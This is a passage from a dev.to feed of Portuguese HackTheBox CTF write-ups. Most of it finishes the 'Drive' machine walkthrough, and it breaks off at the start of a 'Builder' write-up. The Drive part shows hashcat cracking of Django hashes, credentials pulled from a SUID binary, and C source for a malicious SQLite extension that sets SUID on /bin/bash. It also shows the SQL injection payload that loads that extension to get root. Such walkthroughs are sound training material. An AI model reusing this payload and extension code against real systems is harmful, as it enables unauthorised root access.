martinCruz:sha1&lt;span class="nv"&gt;$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f&lt;/span&gt;
tomHands:sha1&lt;span class="nv"&gt;$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a&lt;/span&gt;
crisDisel:sha1&lt;span class="nv"&gt;$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f&lt;/span&gt;
admin:sha1&lt;span class="nv"&gt;$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3&lt;/span&gt;

&lt;span class="c"&gt;# Setembro:&lt;/span&gt;
jamesMason:sha1&lt;span class="nv"&gt;$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a&lt;/span&gt;
martinCruz:sha1&lt;span class="nv"&gt;$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f&lt;/span&gt;
tomHands:sha1&lt;span class="nv"&gt;$DhWa3Bym5bj9Ig73wYZRls$3ecc0c96b090dea7dfa0684b9a1521349170fc93&lt;/span&gt;
crisDisel:sha1&lt;span class="nv"&gt;$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f&lt;/span&gt;
admin:sha1&lt;span class="nv"&gt;$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3&lt;/span&gt;

&lt;span class="c"&gt;# Outubro:&lt;/span&gt;
jamesMason:sha1&lt;span class="nv"&gt;$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a&lt;/span&gt;
martinCruz:sha1&lt;span class="nv"&gt;$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f&lt;/span&gt;
tomHands:sha1&lt;span class="nv"&gt;$Ri2bP6RVoZD5XYGzeYWr7c$71eb1093e10d8f7f4d1eb64fa604e6050f8ad141&lt;/span&gt;
crisDisel:sha1&lt;span class="nv"&gt;$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f&lt;/span&gt;
admin:sha1&lt;span class="nv"&gt;$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notamos aqui que somente em Dezembro temos um tipo de hash diferente dos demais meses.&lt;br&gt;
Aqui vamos precisar separar as hashes por tipos e por usuário e tentar quebrá-las. &lt;br&gt;
Para diminuir o tempo neste procedimento vamos nos atentar somente aos usuários &lt;strong&gt;cris&lt;/strong&gt; e &lt;strong&gt;tom&lt;/strong&gt;, pois são os únicos que possuem shell no host alvo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root:x:0:0:root:/root:/bin/bash
git:x:115:119:Git Version Control,,,:/home/git:/bin/bash
martin:x:1001:1001:martin cruz,,,:/home/martin:/bin/bash
cris:x:1002:1002:Cris Disel,,,:/home/cris:/bin/bash
tom:x:1003:1003:Tom Hands,,,:/home/tom:/bin/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Visto que o usuário &lt;strong&gt;martin&lt;/strong&gt; nós ja temos a senha e o usuário root não esta presente.&lt;/p&gt;

&lt;p&gt;Tivemos sucesso realizando o procedimento para o usuário &lt;strong&gt;tom&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~kali/hackthebox/machines-linux/drive]
└─# hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 124 hashes/tom-sha1 /usr/share/wordlists/rockyou.txt
hashcat &lt;span class="o"&gt;(&lt;/span&gt;v6.2.6&lt;span class="o"&gt;)&lt;/span&gt; starting
...
Dictionary cache hit:
&lt;span class="k"&gt;*&lt;/span&gt; Filename..: /usr/share/wordlists/rockyou.txt
&lt;span class="k"&gt;*&lt;/span&gt; Passwords.: 14344389
&lt;span class="k"&gt;*&lt;/span&gt; Bytes.....: 139921546
&lt;span class="k"&gt;*&lt;/span&gt; Keyspace..: 14344389

sha1&lt;span class="nv"&gt;$Ri2bP6RVoZD5XYGzeYWr7c$71eb1093e10d8f7f4d1eb64fa604e6050f8ad141&lt;/span&gt;:johniscool
sha1&lt;span class="nv"&gt;$DhWa3Bym5bj9Ig73wYZRls$3ecc0c96b090dea7dfa0684b9a1521349170fc93&lt;/span&gt;:john boy
sha1&lt;span class="nv"&gt;$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a&lt;/span&gt;:johnmayer7

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 124 &lt;span class="o"&gt;(&lt;/span&gt;Django &lt;span class="o"&gt;(&lt;/span&gt;SHA-1&lt;span class="o"&gt;))&lt;/span&gt;
Hash.Target......: hashes/tom-sha1

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com a senha &lt;strong&gt;johnmayer7&lt;/strong&gt; tivemos sucesso para acessar o host alvo via ssh e assim conseguir a user flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~kali/hackthebox/machines-linux/drive/DoodleGrive]
└─# ssh tom@drive.htb
tom@drive.htb&lt;span class="s1"&gt;'s password: 
Permission denied, please try again.
tom@drive.htb'&lt;/span&gt;s password: 
Welcome to Ubuntu 20.04.6 LTS &lt;span class="o"&gt;(&lt;/span&gt;GNU/Linux 5.4.0-164-generic x86_64&lt;span class="o"&gt;)&lt;/span&gt;
 &lt;span class="k"&gt;*&lt;/span&gt; Documentation:  https://help.ubuntu.com
 &lt;span class="k"&gt;*&lt;/span&gt; Management:     https://landscape.canonical.com
 &lt;span class="k"&gt;*&lt;/span&gt; Support:        https://ubuntu.com/advantage
  System information as of Sun 15 Oct 2023 05:37:12 PM UTC
  System load:           0.02
  Usage of /:            63.3% of 5.07GB
  Memory usage:          27%
  Swap usage:            0%
  Processes:             230
  Users logged &lt;span class="k"&gt;in&lt;/span&gt;:       1
  IPv4 address &lt;span class="k"&gt;for &lt;/span&gt;eth0: 10.129.81.217
  IPv6 address &lt;span class="k"&gt;for &lt;/span&gt;eth0: dead:beef::250:56ff:fe96:c5d5
Expanded Security Maintenance &lt;span class="k"&gt;for &lt;/span&gt;Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: &lt;span class="nb"&gt;sudo &lt;/span&gt;pro status
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Oct  9 09:19:30 2023 from 10.10.14.40
tom@drive:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt;
total 916K
drwxr-x--- 6 tom  tom  4.0K Sep 13 13:51 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 6 root root 4.0K Dec 25  2022 ..
lrwxrwxrwx 1 root root    9 Sep  6 02:56 .bash_history -&amp;gt; /dev/null
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 tom  tom   220 Dec 25  2022 .bash_logout
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 tom  tom  3.7K Dec 25  2022 .bashrc
drwx------ 3 tom  tom  4.0K Jan  1  2023 .cache
drwx------ 3 tom  tom  4.0K Feb  3  2023 .config
&lt;span class="nt"&gt;-rwSr-x---&lt;/span&gt; 1 root tom  867K Sep 13 13:36 doodleGrive-cli
drwx------ 3 tom  tom  4.0K Jan  1  2023 .gnupg
drwxrwxr-x 3 tom  tom  4.0K Dec 28  2022 .local
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 tom  tom   807 Dec 25  2022 .profile
&lt;span class="nt"&gt;-rw-r-----&lt;/span&gt; 1 root tom   719 Feb 11  2023 README.txt
&lt;span class="nt"&gt;-rw-r-----&lt;/span&gt; 1 root tom    33 Oct 14 19:03 user.txt
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 tom  tom    39 Aug 29 05:59 .vimrc

tom@drive:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt 
44c8199e75664228f6255983b324aa91
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Escalação de privilégios e root flag
&lt;/h3&gt;

&lt;p&gt;Agora com acesso com o usuário tom podemos visualizar que existe um binário em seu diretório home e um &lt;strong&gt;README.txt&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tom@drive:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt;
total 916K
drwxr-x--- 6 tom  tom  4.0K Sep 13 13:51 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 6 root root 4.0K Dec 25  2022 ..
lrwxrwxrwx 1 root root    9 Sep  6 02:56 .bash_history -&amp;gt; /dev/null
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 tom  tom   220 Dec 25  2022 .bash_logout
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 tom  tom  3.7K Dec 25  2022 .bashrc
drwx------ 3 tom  tom  4.0K Jan  1  2023 .cache
drwx------ 3 tom  tom  4.0K Feb  3  2023 .config
&lt;span class="nt"&gt;-rwSr-x---&lt;/span&gt; 1 root tom  867K Sep 13 13:36 doodleGrive-cli
drwx------ 3 tom  tom  4.0K Jan  1  2023 .gnupg
drwxrwxr-x 3 tom  tom  4.0K Dec 28  2022 .local
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 tom  tom   807 Dec 25  2022 .profile
&lt;span class="nt"&gt;-rw-r-----&lt;/span&gt; 1 root tom   719 Feb 11  2023 README.txt
&lt;span class="nt"&gt;-rw-r-----&lt;/span&gt; 1 root tom    33 Dec 27 13:59 user.txt
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 tom  tom    39 Aug 29 05:59 .vimrc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E podemos visualizar o conteúdo do &lt;strong&gt;README.txt&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tom@drive:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;README.txt 
Hi team
after the great success of DoodleGrive, we are planning now to start working on our new project: &lt;span class="s2"&gt;"DoodleGrive self hosted"&lt;/span&gt;,it will allow our customers to deploy their own documents sharing platform privately on thier servers...
However &lt;span class="k"&gt;in &lt;/span&gt;addition with the &lt;span class="s2"&gt;"new self Hosted release"&lt;/span&gt; there should be a tool&lt;span class="o"&gt;(&lt;/span&gt;doodleGrive-cli&lt;span class="o"&gt;)&lt;/span&gt; to &lt;span class="nb"&gt;help &lt;/span&gt;the IT team &lt;span class="k"&gt;in &lt;/span&gt;monitoring server status and fix errors that may happen.
As we mentioned &lt;span class="k"&gt;in &lt;/span&gt;the last meeting the tool still &lt;span class="k"&gt;in &lt;/span&gt;the development phase and we should &lt;span class="nb"&gt;test &lt;/span&gt;it properly...
We sent the username and the password &lt;span class="k"&gt;in &lt;/span&gt;the email &lt;span class="k"&gt;for &lt;/span&gt;every user to &lt;span class="nb"&gt;help &lt;/span&gt;us &lt;span class="k"&gt;in &lt;/span&gt;testing the tool and make it better.
If you face any problem, please report it to the development team.
Best regards.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A mensagem informa que o binário doodleGrive-cli esta sendo desenvolvido para que clientes consigam utilizar a aplicação de modo self hosted, ou seja, sem depender da infraestrutura de terceiros.&lt;/p&gt;

&lt;p&gt;É interessante notar que o binário possui o SUID setado, ou seja, usuários que executem este binário herdam as permissões do dono, nesse caso o usuário root.&lt;/p&gt;

&lt;p&gt;Podemos analisar o binário usando o comando strings:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tom@drive:~&lt;span class="nv"&gt;$ &lt;/span&gt;strings doodleGrive-cli &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; output-strings
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E agora podemos usar o vim para visualizar seu conteúdo. Dentre eles temos o seguinte conteúdo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;...
/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 &lt;span class="nt"&gt;-line&lt;/span&gt; &lt;span class="s1"&gt;'SELECT id,last_login,is_superuser,username,email,is_staff,is_active,date_joined FROM accounts_customuser;'&lt;/span&gt;
/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 &lt;span class="nt"&gt;-line&lt;/span&gt; &lt;span class="s1"&gt;'SELECT id,name FROM accounts_g;'&lt;/span&gt;
/usr/bin/sudo &lt;span class="nt"&gt;-u&lt;/span&gt; www-data /opt/server-health-check.sh
Enter username to activate account:
Error: Username cannot be empty.
/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 &lt;span class="nt"&gt;-line&lt;/span&gt; &lt;span class="s1"&gt;'UPDATE accounts_customuser SET is_active=1 WHERE username="%s";'&lt;/span&gt;
Activating account &lt;span class="k"&gt;for &lt;/span&gt;user &lt;span class="s1"&gt;'%s'&lt;/span&gt;...
/usr/bin/sudo &lt;span class="nt"&gt;-u&lt;/span&gt; www-data /usr/bin/tail &lt;span class="nt"&gt;-1000&lt;/span&gt; /var/log/nginx/access.log
doodleGrive cli beta-2.2:
1. Show &lt;span class="nb"&gt;users &lt;/span&gt;list and info
2. Show &lt;span class="nb"&gt;groups &lt;/span&gt;list
3. Check server health and status
4. Show server requests log &lt;span class="o"&gt;(&lt;/span&gt;last 1000 request&lt;span class="o"&gt;)&lt;/span&gt;
5. activate user account
6. Exit
Select option:
exiting...
please Select a valid option...
PATH
&lt;span class="o"&gt;[!]&lt;/span&gt;Caution this tool still &lt;span class="k"&gt;in &lt;/span&gt;the development phase...please report any issue to the development team[!]
Enter Username:
Enter password &lt;span class="k"&gt;for
&lt;/span&gt;moriarty
findMeIfY0uC@nMr.Holmz!
Welcome...!
Invalid username or password.
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aqui temos algumas informações importantes, primeiro o usuário e senha de acesso a aplicação.&lt;br&gt;
Também temos algumas execuções do &lt;strong&gt;sqlite3&lt;/strong&gt; no qual é realizado dois selects, um para buscar do &lt;strong&gt;accounts_customeuser&lt;/strong&gt; que é a tabela que buscamos os hashes do usuários. O outro select busca id e name da tabela &lt;strong&gt;accounts_g&lt;/strong&gt;, que aparentemente são os grupos.&lt;br&gt;
Temos outra execução que ativa um usuário, ou seja, ele realiza um update no banco setando o parâmetro &lt;strong&gt;is_active=1&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Analisando as opções que temos a única que aceita input do usuário é a quinta, no qual precisa informar qual conta de usuário será ativado.&lt;br&gt;
Em uma busca por injeções maliciosas encontramos a possibilidade de um &lt;a href="https://www.sqlite.org/loadext.html#:~:text=2.-,Loading%20An%20Extension,using%20the%20sqlite3_load_extension()%20API." rel="noopener noreferrer"&gt;SQL Injection realizando o load de uma lib&lt;/a&gt; maliciosa.&lt;/p&gt;

&lt;p&gt;Iremos iniciar nossa exploração criando um exploit em C com o seguinte conteúdo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;//gcc -shared name.c -o name.so -nostartfiles -fPIC&lt;/span&gt;

&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;sqlite3ext.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="n"&gt;SQLITE_EXTENSION_INIT1&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;sqlite3_extension_init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sqlite3&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;setuid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;setgid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/usr/bin/chmod u+s /bin/bash"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;SQLITE_OK&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Este exploit vai executar um comando no sistema para adicionar o &lt;strong&gt;SUID&lt;/strong&gt; no arquivo &lt;strong&gt;/bin/bash&lt;/strong&gt;, para que o usuário que executar crie um shell com permissões de root. O resto da função foi tirado da documentação de &lt;a href="https://sqlite.org/loadext.html" rel="noopener noreferrer"&gt;Programming Loadable Extension&lt;/a&gt; do sqlite.&lt;/p&gt;

&lt;p&gt;Agora precisamos compilar o arquivo para que o mesmo esteja disponível como .so, que é um arquivo de lib no linux.&lt;/p&gt;

&lt;p&gt;Para isso vamos executar o seguinte comando:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~kali/hackthebox/machines-linux/drive]
└─# gcc &lt;span class="nt"&gt;-shared&lt;/span&gt; exploit.c &lt;span class="nt"&gt;-o&lt;/span&gt; P.so &lt;span class="nt"&gt;-nostartfiles&lt;/span&gt; &lt;span class="nt"&gt;-fPIC&lt;/span&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~kali/hackthebox/machines-linux/drive]
└─# &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;  
&lt;span class="nb"&gt;.&lt;/span&gt;  ..  backups  exploit.c   P.so

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A escolha do nome P.so é visando facilitar o comando para realizar o load da extensão. Ocorre que  vamos precisar passar o comando como &lt;a href="https://www2.microstrategy.com/producthelp/current/FunctionsRef/Content/FuncRef/Char__convert_ASCII_code_to_a_character_.htm" rel="noopener noreferrer"&gt;Char&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;load_extension&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;char&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;65&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;47&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Isso ocorre pois tentamos anteriormente carregar utilizando path do arquivo completo, sem sucesso:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;doodleGrive cli beta-2.2: 
1. Show &lt;span class="nb"&gt;users &lt;/span&gt;list and info
2. Show &lt;span class="nb"&gt;groups &lt;/span&gt;list
3. Check server health and status
4. Show server requests log &lt;span class="o"&gt;(&lt;/span&gt;last 1000 request&lt;span class="o"&gt;)&lt;/span&gt;
5. activate user account
6. Exit
Select option: 5
Enter username to activate account: &lt;span class="s2"&gt;"+load_extension('/home/tom/P.so')--;      
Activating account for user '"&lt;/span&gt;+load_extension&lt;span class="o"&gt;(&lt;/span&gt;hometomP.so&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="s1"&gt;'...
Error: no such column: hometomP.so
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Existe uma sanitização que remove as barras, não conseguindo carregar o arquivo corretamente.&lt;/p&gt;

&lt;p&gt;E caso passar somente o nome do arquivo, por estar no mesmo diretório da execução ele não reconhece o mesmo como um arquivo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;doodleGrive cli beta-2.2: 
1. Show &lt;span class="nb"&gt;users &lt;/span&gt;list and info
2. Show &lt;span class="nb"&gt;groups &lt;/span&gt;list
3. Check server health and status
4. Show server requests log &lt;span class="o"&gt;(&lt;/span&gt;last 1000 request&lt;span class="o"&gt;)&lt;/span&gt;
5. activate user account
6. Exit
Select option: 5
Enter username to activate account: &lt;span class="s2"&gt;"+load_extension('P.so')--;
Activating account for user '"&lt;/span&gt;+load_extension&lt;span class="o"&gt;(&lt;/span&gt;P.so&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="s1"&gt;'...
Error: no such column: P.so
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Então a saída foi utilizar como char:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;doodleGrive cli beta-2.2: 
1. Show &lt;span class="nb"&gt;users &lt;/span&gt;list and info
2. Show &lt;span class="nb"&gt;groups &lt;/span&gt;list
3. Check server health and status
4. Show server requests log &lt;span class="o"&gt;(&lt;/span&gt;last 1000 request&lt;span class="o"&gt;)&lt;/span&gt;
5. activate user account
6. Exit
Select option: 5
Enter username to activate account: &lt;span class="s2"&gt;"+load_extension(char(46,47,80))--;
Activating account for user '"&lt;/span&gt;+load_extension&lt;span class="o"&gt;(&lt;/span&gt;char&lt;span class="o"&gt;(&lt;/span&gt;46,47,80&lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="s1"&gt;'...

doodleGrive cli beta-2.2: 
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: ^C
tom@drive:~$ stat /bin/bash
  File: /bin/bash
  Size: 1183448         Blocks: 2312       IO Block: 4096   regular file
Device: fd00h/64768d    Inode: 520         Links: 1
Access: (4755/-rwsr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2023-12-27 13:57:57.651723070 +0000
Modify: 2022-04-18 09:14:46.000000000 +0000
Change: 2023-12-28 01:30:08.266636758 +0000
 Birth: -

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E assim conseguimos executar nosso exploit, adicionando o SUID no /bin/bash. Conseguindo acesso como root!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tom@drive:~&lt;span class="nv"&gt;$ &lt;/span&gt;/bin/bash &lt;span class="nt"&gt;-p&lt;/span&gt;
bash-5.0# &lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1003&lt;span class="o"&gt;(&lt;/span&gt;tom&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1003&lt;span class="o"&gt;(&lt;/span&gt;tom&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;euid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1003&lt;span class="o"&gt;(&lt;/span&gt;tom&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Agora que somos root na máquina, basta buscar a root flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash-5.0# &lt;span class="nb"&gt;cd&lt;/span&gt; /root
bash-5.0# &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;span class="nb"&gt;.&lt;/span&gt;  ..  .bash_history  .bashrc  .cache  .config  .local  .mysql_history  .profile  .python_history  root.txt  .ssh  .vimrc
bash-5.0# &lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
e1fe98edf410d6e5c123d829922190b8
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finalizamos assim a máquina Drive :)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjq8lnk4c81pzib13ixxt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjq8lnk4c81pzib13ixxt.png" alt="Pwned machine" width="567" height="519"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>sql</category>
      <category>hackthebox</category>
      <category>cybersecurity</category>
      <category>owasp</category>
    </item>
    <item>
      <title>HackTheBox - Writeup Builder [Retired]</title>
      <dc:creator>Guilherme Martins</dc:creator>
      <pubDate>Wed, 21 Feb 2024 22:07:40 +0000</pubDate>
      <link>https://dev.to/mrtnsgs/hackthebox-writeup-builder-retired-54j8</link>
      <guid>https://dev.to/mrtnsgs/hackthebox-writeup-builder-retired-54j8</guid>
      <description>&lt;h3&gt;
  
  
  Hackthebox
&lt;/h3&gt;

&lt;p&gt;Neste writeup iremos explorar uma máquina linux de nível medium que aborda as seguintes vulnerabilidades e técnicas de exploração&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2024-23897&lt;/strong&gt; (Jenkins Arbitrary File Read)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sensitive Data Exposure&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Recon e user flag
&lt;/h4&gt;

&lt;p&gt;Iremos iniciar realizando uma varredura utilizando o nmap para visualizar as portas abertas em nosso alvo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; 10.129.220.88
Starting Nmap 7.93 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2024-02-13 12:15 EST
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.129.220.88
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.26s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 998 closed tcp ports &lt;span class="o"&gt;(&lt;/span&gt;reset&lt;span class="o"&gt;)&lt;/span&gt;
PORT     STATE SERVICE VERSION
